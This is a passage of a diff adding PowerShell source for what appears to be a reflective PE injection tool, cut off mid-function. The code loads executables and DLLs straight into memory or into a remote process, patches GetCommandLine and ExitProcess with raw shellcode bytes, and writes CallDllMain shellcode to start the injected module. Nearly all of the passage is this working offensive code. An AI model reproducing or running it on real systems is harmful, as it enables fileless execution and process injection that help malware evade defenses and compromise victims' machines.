([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + } + + Function Get-VirtualProtectValue + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt32] + $SectionCharacteristics + ) + + $ProtectionFlag = 0x0 + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE + } + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_READONLY + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_NOACCESS + } + } + } + + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0) + { + $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE + } + + return $ProtectionFlag + } + + Function Update-MemoryProtectionFlags + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress) + + [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics + [UInt32]$SectionSize = $SectionHeader.VirtualSize + + [UInt32]$OldProtectFlag = 0 + Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null + $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Unable to change memory protection" + } + } + } + + #This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE + #Returns an object with addresses to copies of the bytes that were overwritten (and the count) + Function Update-ExeFunctions + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [String] + $ExeArguments, + + [Parameter(Position = 4, Mandatory = $true)] + [IntPtr] + $ExeDoneBytePtr + ) + + #This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state. + $ReturnArray = @() + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + [UInt32]$OldProtectFlag = 0 + + [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll") + if ($Kernel32Handle -eq [IntPtr]::Zero) + { + throw "Kernel32 handle null" + } + + [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll") + if ($KernelBaseHandle -eq [IntPtr]::Zero) + { + throw "KernelBase handle null" + } + + ################################################# + #First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to start it. + # We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want. + $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + + [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA") + [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW") + + if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero) + { + throw "GetCommandLine ptr null. GetCommandLineA: $GetCommandLineAAddr. GetCommandLineW: $GetCommandLineWAddr" + } + + #Prepare the shellcode + [Byte[]]$Shellcode1 = @() + if ($PtrSize -eq 8) + { + $Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8 + } + $Shellcode1 += 0xb8 + + [Byte[]]$Shellcode2 = @(0xc3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + + + #Make copy of GetCommandLineA and GetCommandLineW + $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null + $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize) + $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize) + + #Overwrite GetCommandLineA + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineAAddrTemp = $GetCommandLineAAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false) + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + + + #Overwrite GetCommandLineW + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineWAddrTemp = $GetCommandLineWAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false) + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + ################################################# + + + ################################################# + #For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work. + # I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln. + # It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the + # argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported. + $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" ` + , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll") + + foreach ($Dll in $DllList) + { + [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll) + if ($DllHandle -ne [IntPtr]::Zero) + { + [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln") + [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln") + if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero) + { + "Error, couldn't find _wcmdln or _acmdln" + } + + $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + + #Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state + $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr]) + $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr]) + $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false) + $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize) + $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize) + + $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + + $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + } + } + ################################################# + + + ################################################# + #Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits. + + $ReturnArray = @() + $ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process + + #CorExitProcess (compiled in to visual studio c++) + [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll") + if ($MscoreeHandle -eq [IntPtr]::Zero) + { + throw "mscoree handle null" + } + [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess") + if ($CorExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "CorExitProcess address not found" + } + $ExitFunctions += $CorExitProcessAddr + + #ExitProcess (what non-managed programs use) + [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess") + if ($ExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "ExitProcess address not found" + } + $ExitFunctions += $ExitProcessAddr + + [UInt32]$OldProtectFlag = 0 + foreach ($ProcExitFunctionAddr in $ExitFunctions) + { + $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr + #The following is the shellcode (Shellcode: ExitThread.asm): + #32bit shellcode + [Byte[]]$Shellcode1 = @(0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb) + #64bit shellcode (Shellcode: ExitThread.asm) + if ($PtrSize -eq 8) + { + [Byte[]]$Shellcode1 = @(0x48, 0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb) + } + [Byte[]]$Shellcode3 = @(0xff, 0xd3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length + + [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread") + if ($ExitThreadAddr -eq [IntPtr]::Zero) + { + Throw "ExitThread address not found" + } + + $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } + + #Make copy of original ExitProcess bytes + $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize) + + #Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then + # call ExitThread + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp + + $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + ################################################# + + Write-Output $ReturnArray + } + + + #This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count) + # It copies Count bytes from Source to Destination. + Function Copy-ArrayOfMemAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Array[]] + $CopyInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [UInt32]$OldProtectFlag = 0 + foreach ($Info in $CopyInfo) + { + $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } + + $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null + + $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + } + + + ##################################### + ########## FUNCTIONS ########### + ##################################### + Function Get-MemoryProcAddress + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [String] + $FunctionName + ) + + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Get the export table + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0) + { + return [IntPtr]::Zero + } + $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress) + $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY) + + for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++) + { + #AddressOfNames is an array of pointers to strings of the names of the functions exported + $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32])) + $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr) + + if ($Name -ceq $FunctionName) + { + #AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions + # which contains the offset of the function in to the DLL + $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))) + $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16]) + $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32]) + return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset) + } + } + + return [IntPtr]::Zero + } + + + Function Invoke-MemoryLoadLibrary + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $false)] + [String] + $ExeArgs, + + [Parameter(Position = 2, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $RemoteLoading = $false + if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $RemoteLoading = $true + } + + #Get basic PE information + Write-Verbose "Getting basic PE information from the file" + $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types + $OriginalImageBase = $PEInfo.OriginalImageBase + $NXCompatible = $true + if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) + { + Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue + $NXCompatible = $false + } + + + #Verify that the PE and the current process are the same bits (32bit or 64bit) + $Process64Bit = $true + if ($RemoteLoading -eq $true) + { + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process") + if ($Result -eq [IntPtr]::Zero) + { + Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit" + } + + [Bool]$Wow64Process = $false + $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process) + if ($Success -eq $false) + { + Throw "Call to IsWow64Process failed" + } + + if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4))) + { + $Process64Bit = $false + } + + #PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly + $PowerShell64Bit = $true + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $PowerShell64Bit = $false + } + if ($PowerShell64Bit -ne $Process64Bit) + { + throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process" + } + } + else + { + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $Process64Bit = $false + } + } + if ($Process64Bit -ne $PEInfo.PE64Bit) + { + Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)" + } + + + #Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address + Write-Verbose "Allocating memory for the PE and write its headers to memory" + + [IntPtr]$LoadAddr = [IntPtr]::Zero + if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) + { + Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again" -WarningAction Continue + [IntPtr]$LoadAddr = $OriginalImageBase + } + + $PEHandle = [IntPtr]::Zero #This is where the PE is allocated in PowerShell + $EffectivePEHandle = [IntPtr]::Zero #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process. + if ($RemoteLoading -eq $true) + { + #Allocate space in the remote process, and also allocate space in PowerShell. The PE will be setup in PowerShell and copied to the remote process when it is setup + $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + + #todo, error handling needs to delete this memory if an error happens along the way + $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($EffectivePEHandle -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use" + } + } + else + { + if ($NXCompatible -eq $true) + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + } + else + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + } + $EffectivePEHandle = $PEHandle + } + + [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage) + if ($PEHandle -eq [IntPtr]::Zero) + { + Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)." + } + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null + + + #Now that the PE is in memory, get more detailed information about it + Write-Verbose "Getting detailed PE information from the headers loaded in memory" + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress + $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle + Write-Verbose "StartAddress: $PEHandle EndAddress: $PEEndAddress" + + + #Copy each section from the PE in to memory + Write-Verbose "Copy PE sections in to memory" + Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types + + + #Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded + Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory" + Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types + + + #The PE we are in-memory loading has DLLs it needs, import those DLLs for it + Write-Verbose "Import DLL's needed by the PE we are loading" + if ($RemoteLoading -eq $true) + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle + } + else + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants + } + + + #Update the memory protection flags for all the memory just allocated + if ($RemoteLoading -eq $false) + { + if ($NXCompatible -eq $true) + { + Write-Verbose "Update memory protection flags" + Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types + } + else + { + Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute" + } + } + else + { + Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions" + } + + + #If remote loading, copy the DLL in to remote process memory + if ($RemoteLoading -eq $true) + { + [UInt32]$NumBytesWritten = 0 + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten) + if ($Success -eq $false) + { + Throw "Unable to write shellcode to remote process memory." + } + } + + + #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function + if ($PEInfo.FileType -ieq "DLL") + { + if ($RemoteLoading -eq $false) + { + Write-Verbose "Calling dllmain so the DLL knows it has been loaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null + } + else + { + $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + + if ($PEInfo.PE64Bit -eq $true) + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false) + $SCPSMem = 